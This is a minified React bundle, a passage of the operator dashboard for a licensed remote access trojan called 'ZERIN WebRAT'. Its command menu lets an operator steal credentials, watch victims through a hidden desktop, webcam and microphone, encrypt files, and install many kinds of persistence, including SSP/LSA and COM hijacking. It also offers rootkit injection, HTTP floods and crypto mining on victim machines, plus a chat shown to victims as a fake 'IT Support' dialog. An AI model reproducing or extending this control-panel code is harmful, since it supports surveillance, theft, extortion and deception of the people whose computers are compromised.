max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function eu(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Mp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function d_(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Io(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function no(e){return e.slice(0,8)}function Ij(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function f_(e){return`data:image/bmp;base64,${e}`}function m_(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},p_=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),h_=new Set(["remove","exit","uninstall","shutdown"]),x_=new Set(["ban"]),am=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],v_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},g_={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},y_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},b_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),k=m.useRef(null),z=s==="dead",S=x.trim()?am.map(R=>({...R,commands:R.commands.filter(K=>K.label.toLowerCase().includes(x.toLowerCase())||K.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:am.find(K=>K.label===R.label).commands})):am;m.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),K=window.innerWidth,_=window.innerHeight;let M=e,F=t;e+R.width>K&&(M=K-R.width-8),t+R.height>_&&(F=_-R.height-8),h({x:Math.max(4,M),y:Math.max(4,F)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),m.useEffect(()=>{if(!n)return;const R=K=>{l.current&&!l.current.contains(K.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),m.useEffect(()=>()=>{k.current&&clearTimeout(k.current)},[]);const O=m.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const K=R.getBoundingClientRect(),_=window.innerHeight;if(K.bottom>_-8){const M=K.bottom-_+8;R.style.top=`${-M}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),m.useEffect(()=>{if(!n)return;const R=K=>{var M;const _=S;if(_.length!==0)switch(K.key){case"ArrowDown":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U{const U=F<_.length-1?F+1:0;return f(_[U].label),U});break}case"ArrowUp":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U>0?U-1:F.commands.length-1)}else v(F=>{const U=F>0?F-1:_.length-1;return f(_[U].label),U});break}case"ArrowRight":case"Enter":{if(j&&K.key==="Enter"){K.preventDefault();const F=_.find(U=>U.label===d);F&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,S,d,j,y,b,i]),!n)return null;const A=(R,K)=>{k.current&&clearTimeout(k.current),k.current=setTimeout(()=>{f(R),v(K),N(!1),w(-1)},60)},T=()=>{k.current&&clearTimeout(k.current)},P=R=>{z&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},D=p.x+200+220>window.innerWidth,G=R=>R===0?!1:S[R].group!==S[R-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${v_[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${y_[s]}`,children:g_[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((R,K)=>a.jsxs(Oh.Fragment,{children:[G(K)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>A(R.label,K),onMouseLeave:T,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===K?z?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":z?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===R.label||y===K?z?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===K?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${D?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((_,M)=>{const F=z&&_.nav.action!=="remove"&&_.nav.action!=="ban",U=h_.has(_.key)||_.nav.action==="remove",V=x_.has(_.key)||_.nav.action==="ban",Z=p_.has(_.key),ae=j&&b===M;return a.jsxs("button",{onClick:()=>P(_),disabled:F,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${U?ae?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":V?ae?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":F?"cursor-not-allowed text-zerin-text-muted":ae?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:_.label}),Z&&!F&&sn.externalLink]},_.key)})]})]})]},R.label))]})]})})};function Dj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(gd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:w_(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function w_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const j_=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function Rj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var 